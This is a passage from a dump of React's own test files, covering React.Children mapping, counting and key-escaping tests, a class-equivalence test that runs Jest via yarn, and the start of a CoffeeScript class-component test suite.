React.Children.forEach(instance.props.children, callback, scopeTester);\n    expect(lastContext).toBe(scopeTester);\n\n    const mappedChildren = React.Children.map(\n      instance.props.children,\n      callback,\n      scopeTester,\n    );\n\n    expect(React.Children.count(mappedChildren)).toBe(1);\n    expect(mappedChildren[0]).toBe(scopeTester);\n  });\n\n  it('should be called for each child in array', () => {\n    const zero = <div key=\"keyZero\" />;\n    const one = null;\n    const two = <div key=\"keyTwo\" />;\n    const three = null;\n    const four = <div key=\"keyFour\" />;\n\n    const mapped = [\n      <div key=\"giraffe\" />, // Key should be joined to obj key\n      null, // Key should be added even if we don't supply it!\n      <div />, // Key should be added even if not supplied!\n      <span />, // Map from null to something.\n      <div key=\"keyFour\" />,\n    ];\n    const callback = jest.fn().mockImplementation(function (kid, index) {\n      return mapped[index];\n    });\n\n    const instance = (\n      <div>\n        {zero}\n        {one}\n        {two}\n        {three}\n        {four}\n      </div>\n    );\n\n    React.Children.forEach(instance.props.children, callback);\n    expect(callback).toHaveBeenCalledWith(zero, 0);\n    expect(callback).toHaveBeenCalledWith(one, 1);\n    expect(callback).toHaveBeenCalledWith(two, 2);\n    expect(callback).toHaveBeenCalledWith(three, 3);\n    expect(callback).toHaveBeenCalledWith(four, 4);\n    callback.mockClear();\n\n    const mappedChildren = React.Children.map(\n      instance.props.children,\n      callback,\n    );\n    expect(callback).toHaveBeenCalledTimes(5);\n    expect(React.Children.count(mappedChildren)).toBe(4);\n    // Keys default to indices.\n    expect([\n      mappedChildren[0].key,\n      mappedChildren[1].key,\n      mappedChildren[2].key,\n      mappedChildren[3].key,\n    ]).toEqual(['giraffe/.$keyZero', '.$keyTwo', '.3', '.$keyFour']);\n\n    expect(callback).toHaveBeenCalledWith(zero, 0);\n    expect(callback).toHaveBeenCalledWith(one, 1);\n    expect(callback).toHaveBeenCalledWith(two, 2);\n    expect(callback).toHaveBeenCalledWith(three, 3);\n    expect(callback).toHaveBeenCalledWith(four, 4);\n\n    expect(mappedChildren[0]).toEqual(<div key=\"giraffe/.$keyZero\" />);\n    expect(mappedChildren[1]).toEqual(<div key=\".$keyTwo\" />);\n    expect(mappedChildren[2]).toEqual(<span key=\".3\" />);\n    expect(mappedChildren[3]).toEqual(<div key=\".$keyFour\" />);\n  });\n\n  it('should be called for each child in nested structure with mapping', () => {\n    const zero = <div key=\"keyZero\" />;\n    const one = null;\n    const two = <div key=\"keyTwo\" />;\n    const three = null;\n    const four = <div key=\"keyFour\" />;\n    const five = <div key=\"keyFive\" />;\n\n    const zeroMapped = <div key=\"giraffe\" />; // Key should be overridden\n    const twoMapped = <div />; // Key should be added even if not supplied!\n    const fourMapped = <div key=\"keyFour\" />;\n    const fiveMapped = <div />;\n\n    const callback = jest.fn().mockImplementation(function (kid) {\n      switch (kid) {\n        case zero:\n          return zeroMapped;\n        case two:\n          return twoMapped;\n        case four:\n          return fourMapped;\n        case five:\n          return fiveMapped;\n        default:\n          return kid;\n      }\n    });\n\n    const frag = [[zero, one, two], [three, four], five];\n    const instance = <div>{[frag]}</div>;\n\n    React.Children.forEach(instance.props.children, callback);\n    expect(callback).toHaveBeenCalledTimes(6);\n    expect(callback).toHaveBeenCalledWith(zero, 0);\n    expect(callback).toHaveBeenCalledWith(one, 1);\n    expect(callback).toHaveBeenCalledWith(two, 2);\n    expect(callback).toHaveBeenCalledWith(three, 3);\n    expect(callback).toHaveBeenCalledWith(four, 4);\n    expect(callback).toHaveBeenCalledWith(five, 5);\n    callback.mockClear();\n\n    const mappedChildren = React.Children.map(\n      instance.props.children,\n      callback,\n    );\n    expect(callback).toHaveBeenCalledTimes(6);\n    expect(callback).toHaveBeenCalledWith(zero, 0);\n    expect(callback).toHaveBeenCalledWith(one, 1);\n    expect(callback).toHaveBeenCalledWith(two, 2);\n    expect(callback).toHaveBeenCalledWith(three, 3);\n    expect(callback).toHaveBeenCalledWith(four, 4);\n    expect(callback).toHaveBeenCalledWith(five, 5);\n\n    expect(React.Children.count(mappedChildren)).toBe(4);\n    // Keys default to indices.\n    expect([\n      mappedChildren[0].key,\n      mappedChildren[1].key,\n      mappedChildren[2].key,\n      mappedChildren[3].key,\n    ]).toEqual([\n      'giraffe/.0:0:$keyZero',\n      '.0:0:$keyTwo',\n      '.0:1:$keyFour',\n      '.0:$keyFive',\n    ]);\n\n    expect(mappedChildren[0]).toEqual(<div key=\"giraffe/.0:0:$keyZero\" />);\n    expect(mappedChildren[1]).toEqual(<div key=\".0:0:$keyTwo\" />);\n    expect(mappedChildren[2]).toEqual(<div key=\".0:1:$keyFour\" />);\n    expect(mappedChildren[3]).toEqual(<div key=\".0:$keyFive\" />);\n  });\n\n  it('should retain key across two mappings with conditions', () => {\n    const zeroForceKey = <div key=\"keyZero\" />;\n    const oneForceKey = <div key=\"keyOne\" />;\n\n    // Key should be joined to object key\n    const zeroForceKeyMapped = <div key=\"giraffe\" />;\n    // Key should be added even if we don't supply it!\n    const oneForceKeyMapped = <div />;\n\n    const mapFn = function (kid, index) {\n      return index === 0 ? zeroForceKeyMapped : oneForceKeyMapped;\n    };\n\n    const forcedKeys = (\n      <div>\n        {zeroForceKey}\n        {oneForceKey}\n      </div>\n    );\n\n    const expectedForcedKeys = ['giraffe/.$keyZero', '.$keyOne'];\n    const mappedChildrenForcedKeys = React.Children.map(\n      forcedKeys.props.children,\n      mapFn,\n    );\n    const mappedForcedKeys = mappedChildrenForcedKeys.map(c => c.key);\n    expect(mappedForcedKeys).toEqual(expectedForcedKeys);\n\n    const expectedRemappedForcedKeys = [\n      'giraffe/.$giraffe/.$keyZero',\n      '.$.$keyOne',\n    ];\n    const remappedChildrenForcedKeys = React.Children.map(\n      mappedChildrenForcedKeys,\n      mapFn,\n    );\n    expect(remappedChildrenForcedKeys.map(c => c.key)).toEqual(\n      expectedRemappedForcedKeys,\n    );\n  });\n\n  it('should not throw if key provided is a dupe with array key', () => {\n    const zero = <div />;\n    const one = <div key=\"0\" />;\n\n    const mapFn = function () {\n      return null;\n    };\n\n    const instance = (\n      <div>\n        {zero}\n        {one}\n      </div>\n    );\n\n    expect(function () {\n      React.Children.map(instance.props.children, mapFn);\n    }).not.toThrow();\n  });\n\n  it('should use the same key for a cloned element', () => {\n    const instance = (\n      <div>\n        <div />\n      </div>\n    );\n\n    const mapped = React.Children.map(\n      instance.props.children,\n      element => element,\n    );\n\n    const mappedWithClone = React.Children.map(\n      instance.props.children,\n      element => React.cloneElement(element),\n    );\n\n    expect(mapped[0].key).toBe(mappedWithClone[0].key);\n  });\n\n  it('should use the same key for a cloned element with key', () => {\n    const instance = (\n      <div>\n        <div key=\"unique\" />\n      </div>\n    );\n\n    const mapped = React.Children.map(\n      instance.props.children,\n      element => element,\n    );\n\n    const mappedWithClone = React.Children.map(\n      instance.props.children,\n      element => React.cloneElement(element, {key: 'unique'}),\n    );\n\n    expect(mapped[0].key).toBe(mappedWithClone[0].key);\n  });\n\n  it('should return 0 for null children', () => {\n    const numberOfChildren = React.Children.count(null);\n    expect(numberOfChildren).toBe(0);\n  });\n\n  it('should return 0 for undefined children', () => {\n    const numberOfChildren = React.Children.count(undefined);\n    expect(numberOfChildren).toBe(0);\n  });\n\n  it('should return 1 for single child', () => {\n    const simpleKid = <span key=\"simple\" />;\n    const instance = <div>{simpleKid}</div>;\n    const numberOfChildren = React.Children.count(instance.props.children);\n    expect(numberOfChildren).toBe(1);\n  });\n\n  it('should count the number of children in flat structure', () => {\n    const zero = <div key=\"keyZero\" />;\n    const one = null;\n    const two = <div key=\"keyTwo\" />;\n    const three = null;\n    const four = <div key=\"keyFour\" />;\n\n    const instance = (\n      <div>\n        {zero}\n        {one}\n        {two}\n        {three}\n        {four}\n      </div>\n    );\n    const numberOfChildren = React.Children.count(instance.props.children);\n    expect(numberOfChildren).toBe(5);\n  });\n\n  it('should count the number of children in nested structure', () => {\n    const zero = <div key=\"keyZero\" />;\n    const one = null;\n    const two = <div key=\"keyTwo\" />;\n    const three = null;\n    const four = <div key=\"keyFour\" />;\n    const five = <div key=\"keyFive\" />;\n\n    const instance = (\n      <div>{[[[zero, one, two], [three, four], five], null]}</div>\n    );\n    const numberOfChildren = React.Children.count(instance.props.children);\n    expect(numberOfChildren).toBe(7);\n  });\n\n  it('should flatten children to an array', () => {\n    expect(React.Children.toArray(undefined)).toEqual([]);\n    expect(React.Children.toArray(null)).toEqual([]);\n\n    expect(React.Children.toArray(<div />).length).toBe(1);\n    expect(React.Children.toArray([<div />]).length).toBe(1);\n    expect(React.Children.toArray(<div />)[0].key).toBe(\n      React.Children.toArray([<div />])[0].key,\n    );\n\n    const flattened = React.Children.toArray([\n      [<div key=\"apple\" />, <div key=\"banana\" />, <div key=\"camel\" />],\n      [<div key=\"banana\" />, <div key=\"camel\" />, <div key=\"deli\" />],\n    ]);\n    expect(flattened.length).toBe(6);\n    expect(flattened[1].key).toContain('banana');\n    expect(flattened[3].key).toContain('banana');\n    expect(flattened[1].key).not.toBe(flattened[3].key);\n\n    const reversed = React.Children.toArray([\n      [<div key=\"camel\" />, <div key=\"banana\" />, <div key=\"apple\" />],\n      [<div key=\"deli\" />, <div key=\"camel\" />, <div key=\"banana\" />],\n    ]);\n    expect(flattened[0].key).toBe(reversed[2].key);\n    expect(flattened[1].key).toBe(reversed[1].key);\n    expect(flattened[2].key).toBe(reversed[0].key);\n    expect(flattened[3].key).toBe(reversed[5].key);\n    expect(flattened[4].key).toBe(reversed[4].key);\n    expect(flattened[5].key).toBe(reversed[3].key);\n\n    // null/undefined/bool are all omitted\n    expect(React.Children.toArray([1, 'two', null, undefined, true])).toEqual([\n      1,\n      'two',\n    ]);\n  });\n\n  it('warns for mapped list children without keys', async () => {\n    spyOnDev(console, 'error').mockImplementation(() => {});\n    function ComponentRenderingMappedChildren({children}) {\n      return (\n        <div>\n          {React.Children.map(children, child => (\n            <div />\n          ))}\n        </div>\n      );\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <ComponentRenderingMappedChildren>\n          {[<div />]}\n        </ComponentRenderingMappedChildren>,\n      );\n    });\n    if (__DEV__) {\n      const calls = console.error.mock.calls;\n      console.error.mockRestore();\n      expect(calls.length).toBe(1);\n      expect(calls[0][0]).toEqual(\n        'Each child in a list should have a unique \"key\" prop.%s%s See https://react.dev/link/warning-keys for more information.',\n      );\n    }\n  });\n\n  it('does not warn for mapped static children without keys', async () => {\n    function ComponentRenderingMappedChildren({children}) {\n      return (\n        <div>\n          {React.Children.map(children, child => (\n            <div />\n          ))}\n        </div>\n      );\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <ComponentRenderingMappedChildren>\n          <div />\n          <div />\n        </ComponentRenderingMappedChildren>,\n      );\n    });\n  });\n\n  it('warns for cloned list children without keys', async () => {\n    function ComponentRenderingClonedChildren({children}) {\n      return (\n        <div>\n          {React.Children.map(children, child => React.cloneElement(child))}\n        </div>\n      );\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <ComponentRenderingClonedChildren>\n          {[<div />]}\n        </ComponentRenderingClonedChildren>,\n      );\n    });\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n\\n' +\n        'Check the render method of `ComponentRenderingClonedChildren`.' +\n        ' See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in div (at **)',\n    ]);\n  });\n\n  it('does not warn for cloned static children without keys', async () => {\n    function ComponentRenderingClonedChildren({children}) {\n      return (\n        <div>\n          {React.Children.map(children, child => React.cloneElement(child))}\n        </div>\n      );\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <ComponentRenderingClonedChildren>\n          <div />\n          <div />\n        </ComponentRenderingClonedChildren>,\n      );\n    });\n  });\n\n  it('warns for flattened list children without keys', async () => {\n    function ComponentRenderingFlattenedChildren({children}) {\n      return <div>{React.Children.toArray(children)}</div>;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <ComponentRenderingFlattenedChildren>\n          {[<div />]}\n        </ComponentRenderingFlattenedChildren>,\n      );\n    });\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n\\n' +\n        'Check the render method of `ComponentRenderingFlattenedChildren`.' +\n        ' See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in div (at **)',\n    ]);\n  });\n\n  it('does not warn for flattened static children without keys', async () => {\n    function ComponentRenderingFlattenedChildren({children}) {\n      return <div>{React.Children.toArray(children)}</div>;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <ComponentRenderingFlattenedChildren>\n          <div />\n          <div />\n        </ComponentRenderingFlattenedChildren>,\n      );\n    });\n  });\n\n  it('does not throw on children without `_store`', async () => {\n    function ComponentRenderingFlattenedChildren({children}) {\n      return <div>{React.Children.toArray(children)}</div>;\n    }\n\n    const source = <div />;\n    const productionElement = {};\n    Object.entries(source).forEach(([key, value]) => {\n      if (key !== '_owner' && key !== '_store') {\n        productionElement[key] = value;\n      }\n    });\n    Object.freeze(productionElement);\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <ComponentRenderingFlattenedChildren>\n          {productionElement}\n        </ComponentRenderingFlattenedChildren>,\n      );\n    });\n  });\n\n  it('should escape keys', () => {\n    const zero = <div key=\"1\" />;\n    const one = <div key=\"1=::=2\" />;\n    const instance = (\n      <div>\n        {zero}\n        {one}\n      </div>\n    );\n    const mappedChildren = React.Children.map(\n      instance.props.children,\n      kid => kid,\n    );\n    expect(mappedChildren).toEqual([\n      <div key=\".$1\" />,\n      <div key=\".$1=0=2=2=02\" />,\n    ]);\n  });\n\n  it('should combine keys when map returns an array', () => {\n    const instance = (\n      <div>\n        <div key=\"a\" />\n        {false}\n        <div key=\"b\" />\n        <p />\n      </div>\n    );\n    const mappedChildren = React.Children.map(\n      instance.props.children,\n      // Try a few things: keyed, unkeyed, hole, and a cloned element.\n      kid => [\n        <span key=\"x\" />,\n        null,\n        <span key=\"y\" />,\n        kid,\n        kid && React.cloneElement(kid, {key: 'z'}),\n        <hr />,\n      ],\n    );\n    expect(mappedChildren.length).toBe(18);\n\n    // <div key=\"a\">\n    expect(mappedChildren[0].type).toBe('span');\n    expect(mappedChildren[0].key).toBe('.$a/.$x');\n    expect(mappedChildren[1].type).toBe('span');\n    expect(mappedChildren[1].key).toBe('.$a/.$y');\n    expect(mappedChildren[2].type).toBe('div');\n    expect(mappedChildren[2].key).toBe('.$a/.$a');\n    expect(mappedChildren[3].type).toBe('div');\n    expect(mappedChildren[3].key).toBe('.$a/.$z');\n    expect(mappedChildren[4].type).toBe('hr');\n    expect(mappedChildren[4].key).toBe('.$a/.5');\n\n    // false\n    expect(mappedChildren[5].type).toBe('span');\n    expect(mappedChildren[5].key).toBe('.1/.$x');\n    expect(mappedChildren[6].type).toBe('span');\n    expect(mappedChildren[6].key).toBe('.1/.$y');\n    expect(mappedChildren[7].type).toBe('hr');\n    expect(mappedChildren[7].key).toBe('.1/.5');\n\n    // <div key=\"b\">\n    expect(mappedChildren[8].type).toBe('span');\n    expect(mappedChildren[8].key).toBe('.$b/.$x');\n    expect(mappedChildren[9].type).toBe('span');\n    expect(mappedChildren[9].key).toBe('.$b/.$y');\n    expect(mappedChildren[10].type).toBe('div');\n    expect(mappedChildren[10].key).toBe('.$b/.$b');\n    expect(mappedChildren[11].type).toBe('div');\n    expect(mappedChildren[11].key).toBe('.$b/.$z');\n    expect(mappedChildren[12].type).toBe('hr');\n    expect(mappedChildren[12].key).toBe('.$b/.5');\n\n    // <p>\n    expect(mappedChildren[13].type).toBe('span');\n    expect(mappedChildren[13].key).toBe('.3/.$x');\n    expect(mappedChildren[14].type).toBe('span');\n    expect(mappedChildren[14].key).toBe('.3/.$y');\n    expect(mappedChildren[15].type).toBe('p');\n    expect(mappedChildren[15].key).toBe('.3/.3');\n    expect(mappedChildren[16].type).toBe('p');\n    expect(mappedChildren[16].key).toBe('.3/.$z');\n    expect(mappedChildren[17].type).toBe('hr');\n    expect(mappedChildren[17].key).toBe('.3/.5');\n  });\n\n  it('should throw on object', () => {\n    expect(function () {\n      React.Children.forEach({a: 1, b: 2}, function () {}, null);\n    }).toThrowError(\n      'Objects are not valid as a React child (found: object with keys ' +\n        '{a, b}).' +\n        (__DEV__\n          ? ' If you meant to render a collection of children, use an ' +\n            'array instead.'\n          : ''),\n    );\n  });\n\n  it('should render React.lazy after suspending', async () => {\n    const lazyElement = React.lazy(async () => ({default: <div key=\"hi\" />}));\n    function Component() {\n      return React.Children.map([lazyElement], c =>\n        React.cloneElement(c, {children: 'hi'}),\n      );\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component />);\n    });\n\n    expect(container.innerHTML).toBe('<div>hi</div>');\n  });\n\n  it('should render cached Promises after suspending', async () => {\n    const promise = Promise.resolve(<div key=\"hi\" />);\n    function Component() {\n      return React.Children.map([promise], c =>\n        React.cloneElement(c, {children: 'hi'}),\n      );\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component />);\n    });\n\n    expect(container.innerHTML).toBe('<div>hi</div>');\n  });\n\n  it('should throw on regex', () => {\n    // Really, we care about dates (#4840) but those have nondeterministic\n    // serialization (timezones) so let's test a regex instead:\n    expect(function () {\n      React.Children.forEach(/abc/, function () {}, null);\n    }).toThrowError(\n      'Objects are not valid as a React child (found: /abc/).' +\n        (__DEV__\n          ? ' If you meant to render a collection of children, use an ' +\n            'array instead.'\n          : ''),\n    );\n  });\n\n  describe('with fragments enabled', () => {\n    it('warns for keys for arrays of elements in a fragment', async () => {\n      class ComponentReturningArray extends React.Component {\n        render() {\n          return [<div />, <div />];\n        }\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<ComponentReturningArray />);\n      });\n      assertConsoleErrorDev([\n        'Each child in a list should have a unique \"key\" prop.' +\n          '\\n\\nCheck the top-level render call using <ComponentReturningArray>. It was passed a child from ComponentReturningArray. ' +\n          'See https://react.dev/link/warning-keys for more information.' +\n          '\\n    in div (at **)' +\n          '\\n    in ComponentReturningArray (at **)',\n      ]);\n    });\n\n    it('does not warn when there are keys on elements in a fragment', async () => {\n      class ComponentReturningArray extends React.Component {\n        render() {\n          return [<div key=\"foo\" />, <div key=\"bar\" />];\n        }\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<ComponentReturningArray />);\n      });\n    });\n\n    it('warns for keys for arrays at the top level', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render([<div />, <div />]);\n      });\n      assertConsoleErrorDev([\n        'Each child in a list should have a unique \"key\" prop.' +\n          '\\n\\nCheck the top-level render call using <Root>. ' +\n          'See https://react.dev/link/warning-keys for more information.' +\n          '\\n    in div (at **)',\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactClassEquivalence-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst spawnSync = require('child_process').spawnSync;\n\ndescribe('ReactClassEquivalence', () => {\n  it('tests the same thing for es6 classes and CoffeeScript', () => {\n    const result1 = runJest('ReactCoffeeScriptClass-test.coffee');\n    const result2 = runJest('ReactES6Class-test.js');\n    compareResults(result1, result2);\n  });\n\n  it('tests the same thing for es6 classes and TypeScript', () => {\n    const result1 = runJest('ReactTypeScriptClass-test.ts');\n    const result2 = runJest('ReactES6Class-test.js');\n    compareResults(result1, result2);\n  });\n});\n\nfunction runJest(testFile) {\n  const cwd = process.cwd();\n  const extension = process.platform === 'win32' ? '.cmd' : '';\n  const command = process.env.npm_lifecycle_event;\n  const defaultReporter = '--reporters=default';\n  const equivalenceReporter =\n    '--reporters=<rootDir>/scripts/jest/spec-equivalence-reporter/equivalenceReporter.js';\n  if (!command.startsWith('test')) {\n    throw new Error(\n      'Expected this test to run as a result of one of test commands.',\n    );\n  }\n  const result = spawnSync(\n    'yarn' + extension,\n    [command, testFile, defaultReporter, equivalenceReporter],\n    {\n      cwd,\n      env: Object.assign({}, process.env, {\n        REACT_CLASS_EQUIVALENCE_TEST: 'true',\n      }),\n    },\n  );\n\n  if (result.error) {\n    throw result.error;\n  }\n\n  if (result.status !== 0) {\n    throw new Error(\n      'jest process exited with: ' +\n        result.status +\n        '\\n' +\n        'stdout: ' +\n        result.stdout.toString() +\n        'stderr: ' +\n        result.stderr.toString(),\n    );\n  }\n\n  return result.stdout.toString() + result.stderr.toString();\n}\n\nfunction compareResults(a, b) {\n  const regexp = /EQUIVALENCE.*$/gm;\n  const aSpecs = (a.match(regexp) || []).sort().join('\\n');\n  const bSpecs = (b.match(regexp) || []).sort().join('\\n');\n\n  if (aSpecs.length === 0 && bSpecs.length === 0) {\n    throw new Error('No spec results found in the output');\n  }\n\n  expect(aSpecs).toEqual(bSpecs);\n}\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactCoffeeScriptClass-test.coffee",
    "content": "###\nCopyright (c) Meta Platforms, Inc. and affiliates.\n\nThis source code is licensed under the MIT license found in the\nLICENSE file in the root directory of this source tree.\n###\n\nPropTypes = null\nReact = null\nReactDOM = null\nReactDOMClient = null\nassertConsoleErrorDev = null\nassertConsoleWarnDev = null\n\nfeatureFlags = require 'shared/ReactFeatureFlags'\n\ndescribe 'ReactCoffeeScriptClass', ->\n  container = null\n  root = null\n  InnerComponent = null\n  attachedListener = null;\n  renderedName = null;\n\n  beforeEach ->\n    React = require 'react'\n    ReactDOM = require 'react-dom'\n    ReactDOMClient = require 'react-dom/client'\n    PropTypes = require 'prop-types'\n    container = document.createElement 'div'\n    root = ReactDOMClient.createRoot container\n    attachedListener = null\n    renderedName = null\n    TestUtils = require 'internal-test-utils'\n    assertConsoleErrorDev = TestUtils.assertConsoleErrorDev\n    assertConsoleWarnDev = TestUtils.assertConsoleWarnDev\n    InnerComponent = class extends React.Component\n      getName: -> this.props.name\n      render: ->\n        attachedListener = this.props.onClick\n        renderedName = this.props.name\n        return React.createElement('div', className: this.props.name)\n\n  test = (element, expectedTag, expectedClassName) ->\n    ReactDOM.flushSync ->\n      root.render(element)\n    expect(container.firstChild).not.toBeNull()\n    expect(container.firstChild.tagName).toBe(expectedTag)\n    expect(container.firstChild.className).toBe(expectedClassName)\n\n  it 'preserves the name of the class for use in error messages', ->\n    class Foo extends React.Component\n    expect(Foo.name).toBe 'Foo'\n\n  it 'throws if no render function is defined', ->\n    class Foo extends React.Component\n    caughtErrors = []\n    errorHandler = (event) ->\n      event.preventDefault()\n      caughtErrors.push(event.error)\n    window.addEventListener 'error', errorHandler;\n    ReactDOM.flushSync ->\n      root.render React.createElement(Foo)\n    assertConsoleErrorDev [\n# A failed component renders twice in DEV in concurrent mode\n      'No `render` method found on the Foo instance: you may have forgotten to define `render`.\\n' +\n        '     in Foo (at **)',\n      'No `render` method found on the Foo instance: you may have forgotten to define `render`.\\n' +\n        '     in Foo (at **)',\n    ]\n    window.removeEventListener 'error', errorHandler;\n    expect(caughtErrors).toEqual([\n      expect.objectContaining(\n        message: expect.stringContaining('is not a function')\n      )\n    ])\n\n  it 'renders a simple stateless component with prop', ->\n    class Foo extends React.Component\n      render: ->\n        React.createElement(InnerComponent,\n          name: @props.bar\n        )\n\n    test React.createElement(Foo, bar: 'foo'), 'DIV', 'foo'\n    test React.createElement(Foo, bar: 'bar'), 'DIV', 'bar'\n\n  it 'renders based on state using initial values in this.props', ->\n    class Foo extends React.Component\n      constructor: (props) ->\n        super props\n        @state = bar: @props.initialValue\n\n      render: ->\n        React.createElement('span',\n          className: @state.bar\n        )\n\n    test React.createElement(Foo, initialValue: 'foo'), 'SPAN', 'foo'\n\n  it 'renders based on state using props in the constructor', ->\n    class Foo extends React.Component\n      constructor: (props) ->\n        @state = bar: props.initialValue\n\n      changeState: ->\n        @setState bar: 'bar'\n\n      render: ->\n        if @state.bar is 'foo'\n          return React.createElement('div',\n            className: 'foo'\n          )\n        React.createElement('span',\n          className: @state.bar\n        )\n\n    ref = React.createRef()\n    test React.createElement(Foo, initialValue: 'foo', ref: ref), 'DIV', 'foo'\n    ReactDOM.flushSync ->\n      ref.current.changeState()\n    test React.createElement(Foo), 'SPAN', 'bar'\n\n  it 'sets initial state with value returned by static getDerivedStateFromProps', ->\n    class Foo extends React.Component\n      constructor: (props) ->\n        super props\n        @state = foo: null\n      render: ->\n        React.createElement('div',\n          className: \"#{@state.foo} #{@state.bar}\"\n        )\n    Foo.getDerivedStateFromProps = (nextProps, prevState) ->\n      {\n        foo: nextProps.foo\n        bar: 'bar'\n      }\n    test React.createElement(Foo, foo: 'foo'), 'DIV', 'foo bar'\n\n  it 'warns if getDerivedStateFromProps is not static', ->\n    class Foo extends React.Component\n      render: ->\n        React.createElement('div')\n      getDerivedStateFromProps: ->\n        {}\n    ReactDOM.flushSync ->\n     root.render React.createElement(Foo, foo: 'foo')\n    assertConsoleErrorDev [\n      'Foo: getDerivedStateFromProps() is defined as an instance method and will be ignored. Instead, declare it as a static method.\\n' +\n        '    in Foo (at **)']\n\n  it 'warns if getDerivedStateFromError is not static', ->\n    class Foo extends React.Component\n      render: ->\n        React.createElement('div')\n      getDerivedStateFromError: ->\n        {}\n    ReactDOM.flushSync ->\n      root.render React.createElement(Foo, foo: 'foo')\n\n    assertConsoleErrorDev [\n      'Foo: getDerivedStateFromError() is defined as an instance method and will be ignored. Instead, declare it as a static method.\\n' +\n        '    in Foo (at **)'\n    ]\n\n  it 'warns if getSnapshotBeforeUpdate is static', ->\n    class Foo extends React.Component\n      render: ->\n        React.createElement('div')\n    Foo.getSnapshotBeforeUpdate = () ->\n      {}\n    ReactDOM.flushSync ->\n      root.render React.createElement(Foo, foo: 'foo')\n\n    assertConsoleErrorDev [\n      'Foo: getSnapshotBeforeUpdate() is defined as a static method and will be ignored. Instead, declare it as an instance method.\\n' +\n        '    in Foo (at **)'\n    ]\n\n  it 'warns if state not initialized before static getDerivedStateFromProps', ->\n    class Foo extends React.Component\n      render: ->\n        React.createElement('div',\n          className: \"#{@state.foo} #{@state.bar}\"\n        )\n    Foo.getDerivedStateFromProps = (nextProps, prevState) ->\n      {\n        foo: nextProps.foo\n        bar: 'bar'\n      }\n    ReactDOM.flushSync ->\n      root.render React.createElement(Foo, foo: 'foo')\n\n    assertConsoleErrorDev [\n      '`Foo` uses `getDerivedStateFromProps` but its initial state is\n       undefined. This is not recommended. Instead, define the initial state by\n       assigning an object to `this.state` in the constructor of `Foo`.\n       This ensures that `getDerivedStateFromProps` arguments have a consistent shape.\\n' +\n        '     in Foo (at **)'\n    ]\n\n  it 'updates initial state with values returned by static getDerivedStateFromProps', ->\n    class Foo extends React.Component\n      constructor: (props, context) ->\n        super props, context\n        @state =\n          foo: 'foo'\n          bar: 'bar'\n      render: ->\n        React.createElement('div',\n          className: \"#{@state.foo} #{@state.bar}\"\n        )\n    Foo.getDerivedStateFromProps = (nextProps, prevState) ->\n      {\n        foo: \"not-#{prevState.foo}\"\n      }\n    test React.createElement(Foo), 'DIV', 'not-foo bar'\n\n  it 'renders updated state with values returned by static getDerivedStateFromProps', ->\n    class Foo extends React.Component\n      constructor: (props, context) ->\n        super props, context\n        @state =\n          value: 'initial'\n      render: ->\n        React.createElement('div',\n          className: @state.value\n        )\n    Foo.getDerivedStateFromProps = (nextProps, prevState) ->\n      if nextProps.update\n        return {\n          value: 'updated'\n        }\n      return null\n    test React.createElement(Foo, update: false), 'DIV', 'initial'\n    test React.createElement(Foo, update: true), 'DIV', 'updated'\n\n  if !featureFlags.disableLegacyContext\n    it 'renders based on context in the constructor', ->\n      class Foo extends React.Component\n        @contextTypes:\n          tag: PropTypes.string\n          className: PropTypes.string\n\n        constructor: (props, context) ->\n          super props, context\n          @state =\n            tag: context.tag\n            className: @context.className\n\n        render: ->\n          Tag = @state.tag\n          React.createElement Tag,\n            className: @state.className\n\n      class Outer extends React.Component\n        @childContextTypes:\n          tag: PropTypes.string\n          className: PropTypes.string\n\n        getChildContext: ->\n          tag: 'span'\n          className: 'foo'\n\n        render: ->\n          React.createElement Foo\n\n      test React.createElement(Outer), 'SPAN', 'foo'\n      \n      assertConsoleErrorDev([\n        'Outer uses the legacy childContextTypes API which will soon be removed.\n         Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n          '    in Outer (at **)',\n        'Foo uses the legacy contextTypes API which will soon be removed.\n         Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n          '    in Outer (at **)',\n      ]);\n\n  it 'renders only once when setting state in componentWillMount', ->\n    renderCount = 0\n    class Foo extends React.Component\n      constructor: (props) ->\n        @state = bar: props.initialValue\n\n      UNSAFE_componentWillMount: ->\n        @setState bar: 'bar'\n\n      render: ->\n        renderCount++\n        React.createElement('span', className: @state.bar)\n\n    test React.createElement(Foo, initialValue: 'foo'), 'SPAN', 'bar'\n    expect(renderCount).toBe(1)\n\n  it 'should warn with non-object in the initial state property', ->\n    [['an array'], 'a string', 1234].forEach (state) ->\n      class Foo extends React.Component\n        constructor: ->\n          @state = state\n\n        render: ->\n          React.createElement('span')\n\n      test React.createElement(Foo), 'SPAN', ''\n      assertConsoleErrorDev [\n        'Foo.state: must be set to an object 